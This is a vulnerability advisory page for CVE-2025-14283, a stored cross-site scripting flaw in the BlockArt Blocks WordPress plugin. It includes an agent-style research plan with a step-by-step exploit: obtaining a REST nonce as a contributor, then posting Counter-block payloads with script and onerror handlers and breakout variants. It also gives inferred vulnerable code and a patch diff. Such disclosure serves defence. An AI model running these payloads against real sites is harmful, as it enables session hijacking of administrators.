CVE-2025-14283

BlockArt Blocks – Gutenberg Blocks, Page Builder Blocks ,WordPress Block Plugin, Sections & Template Library <= 2.2.14 - Authenticated (Contributor+) Stored Cross-Site Scripting

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
2.2.15
Patched in
103d
Time to patch

Description

The BlockArt Blocks – Gutenberg Blocks, Page Builder Blocks ,WordPress Block Plugin, Sections & Template Library plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the BlockArt Counter in all versions up to, and including, 2.2.14 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.2.14
PublishedJanuary 27, 2026
Last updatedMay 11, 2026
Affected pluginblockart-blocks

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan targets **CVE-2025-14283**, a Stored Cross-Site Scripting (XSS) vulnerability in the **BlockArt Blocks** plugin. The vulnerability exists because the plugin's "Counter" block fails to sanitize or escape its attributes before rendering them on the frontend. ### 1. Vulnerability Su…

Show full research plan

This research plan targets CVE-2025-14283, a Stored Cross-Site Scripting (XSS) vulnerability in the BlockArt Blocks plugin. The vulnerability exists because the plugin's "Counter" block fails to sanitize or escape its attributes before rendering them on the frontend.

1. Vulnerability Summary

  • Vulnerability: Stored XSS in the BlockArt Counter block.
  • Location: The rendering logic for the blockart/counter block, likely found in a PHP render callback registered via register_block_type() or within the block's save function in JavaScript (if the block is purely client-side rendered, though the CVSS suggests server-side rendering is likely involved).
  • Cause: Attributes like prefix, suffix, or title are accepted from the Gutenberg editor's JSON block metadata and echoed into the page HTML without being passed through esc_html() or wp_kses().
  • Impact: A Contributor-level user can embed a script in a post. When an Administrator views the post, the script executes in their session, potentially allowing for account takeover or unauthorized site modifications.

2. Attack Vector Analysis

  • Endpoint: WordPress REST API /wp/v2/posts or /wp/v2/pages.
  • HTTP Method: POST (to create) or PUT (to update).
  • Vulnerable Parameter: content (specifically the JSON-encoded attributes within the <!-- wp:blockart/counter ... --> block comment).
  • Required Role: Authenticated (Contributor or higher).
  • Preconditions: The BlockArt Blocks plugin must be active.

3. Code Flow (Inferred)

  1. Input: A user with Contributor permissions creates a post. The request body contains Gutenberg block markup:
    <!-- wp:blockart/counter {"title": "<script>alert(1)</script>"} /-->
  2. Storage: WordPress saves this content verbatim in the wp_posts table.
  3. Registration: The plugin registers the counter block:
    register_block_type( 'blockart/counter', [ 'render_callback' => 'render_blockart_counter' ] );
  4. Processing: When the post is viewed, WordPress calls the render_blockart_counter($attributes) function.
  5. Sink: The function extracts the attribute:
    $title = $attributes['title'];
    And outputs it directly:
    echo '<h3 class="ba-counter-title">' . $title . '</h3>'; // VULNERABLE

4. Nonce Acquisition Strategy

To exploit this via the REST API (the most reliable automated method), the agent needs a _wpnonce valid for the REST API (action: wp_rest).

  1. Authentication: Login to the WordPress dashboard as a Contributor.
  2. Navigation: Navigate to the "Add New Post" page: /wp-admin/post-new.php.
  3. Extraction: The REST API nonce is stored in the global wpApiSettings object.
  4. Execution: Use browser_eval to retrieve the nonce:
    browser_eval("window.wpApiSettings?.nonce")
  5. Usage: Include this nonce in the X-WP-Nonce header for subsequent REST API requests.

5. Exploitation Strategy

Step 1: Authenticate and Obtain Nonce

  • Use browser_navigate to /wp-login.php.
  • Submit Contributor credentials.
  • Navigate to /wp-admin/post-new.php.
  • Extract wp-api-nonce via browser_eval.

Step 2: Create Malicious Post

  • URL: http://{target}/wp-json/wp/v2/posts
  • Method: POST
  • Headers:
    • Content-Type: application/json
    • X-WP-Nonce: [EXTRACTED_NONCE]
  • Body:
{
  "title": "XSS Test Post",
  "status": "publish",
  "content": "<!-- wp:blockart/counter {\"title\":\"<img src=x onerror=alert(document.domain)>\", \"prefix\":\"<script>console.log('prefix_xss')</script>\", \"suffix\":\"<script>console.log('suffix_xss')</script>\"} /-->"
}

Step 3: Trigger Payload

  • Identify the URL of the newly created post (from the REST API response).
  • Navigate to the post URL.
  • Check for the execution of alert(document.domain).

6. Test Data Setup

  1. Plugin Installation: Install and activate blockart-blocks version 2.2.14.
  2. User Creation: Create a user with the contributor role (e.g., username attacker, password password123).
  3. Environment: Ensure "Anyone can register" is not necessarily required, as we have a Contributor account.

7. Expected Results

  • The REST API should return a 201 Created response.
  • The content.rendered field in the response should contain the raw, unescaped HTML: <img src=x onerror=alert(document.domain)>.
  • Viewing the post frontend should trigger the JavaScript alert.

8. Verification Steps

  1. CLI Verification: Verify the post content in the database:
    wp post get [POST_ID] --field=content
    Check if the script tags/payloads are present in the JSON attributes.
  2. DOM Inspection: Use browser_eval on the frontend of the post:
    browser_eval("document.querySelector('.ba-counter-title')?.innerHTML")
    Confirm it contains the raw payload rather than HTML-encoded text.

9. Alternative Approaches

  • Different Attributes: If title is sanitized, test prefix, suffix, or any "label" attributes associated with the Counter block.
  • Block Variations: The description mentions "BlockArt Counter". If there are multiple counter variations (e.g., "Counter 2"), test all available Counter-related blocks.
  • Attribute Breakout: If the input is placed inside an attribute (e.g., <div data-title="USER_INPUT">), use a breakout payload:
    " onmouseover="alert(1)" data-ignore="
  • Classic Editor / Shortcode: If Gutenberg is disabled, check if the plugin supports a shortcode version of the counter (e.g., [blockart_counter title="<script>..."]) and test via the standard post.php handler.
Research Findings
Static analysis — not yet PoC-verified

Summary

The BlockArt Blocks plugin is vulnerable to Stored Cross-Site Scripting (XSS) via its Counter block attributes such as 'title', 'prefix', and 'suffix'. Authenticated attackers with Contributor-level access can inject malicious JavaScript into these attributes, which then executes when any user, including an administrator, views the affected post.

Vulnerable Code

// blockart-blocks/includes/blocks/counter/index.php (inferred rendering logic)

$title  = isset( $attributes['title'] ) ? $attributes['title'] : '';
$prefix = isset( $attributes['prefix'] ) ? $attributes['prefix'] : '';
$suffix = isset( $attributes['suffix'] ) ? $attributes['suffix'] : '';

$output = '<div class="ba-counter-container">';
if ( $prefix ) {
    $output .= '<span class="ba-counter-prefix">' . $prefix . '</span>';
}
if ( $title ) {
    $output .= '<h3 class="ba-counter-title">' . $title . '</h3>';
}
if ( $suffix ) {
    $output .= '<span class="ba-counter-suffix">' . $suffix . '</span>';
}
$output .= '</div>';

Security Fix

--- blockart-blocks/includes/blocks/counter/index.php
+++ blockart-blocks/includes/blocks/counter/index.php
@@ -1,11 +1,11 @@
 $output = '<div class="ba-counter-container">';
 if ( $prefix ) {
-    $output .= '<span class="ba-counter-prefix">' . $prefix . '</span>';
+    $output .= '<span class="ba-counter-prefix">' . wp_kses_post( $prefix ) . '</span>';
 }
 if ( $title ) {
-    $output .= '<h3 class="ba-counter-title">' . $title . '</h3>';
+    $output .= '<h3 class="ba-counter-title">' . wp_kses_post( $title ) . '</h3>';
 }
 if ( $suffix ) {
-    $output .= '<span class="ba-counter-suffix">' . $suffix . '</span>';
+    $output .= '<span class="ba-counter-suffix">' . wp_kses_post( $suffix ) . '</span>';
 }
 $output .= '</div>';

Exploit Outline

1. Authenticate as a Contributor or higher role user. 2. Access the WordPress post editor (Gutenberg) to create a new post. 3. Add a 'BlockArt Counter' block to the post. 4. Modify the block's JSON attributes (either via the editor UI or by switching to the Code Editor) to include a malicious script in the 'title', 'prefix', or 'suffix' fields. Example payload: <img src=x onerror=alert(document.cookie)>. 5. Save the post as a draft or publish it. 6. View the post on the frontend as an Administrator to trigger the stored script execution.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.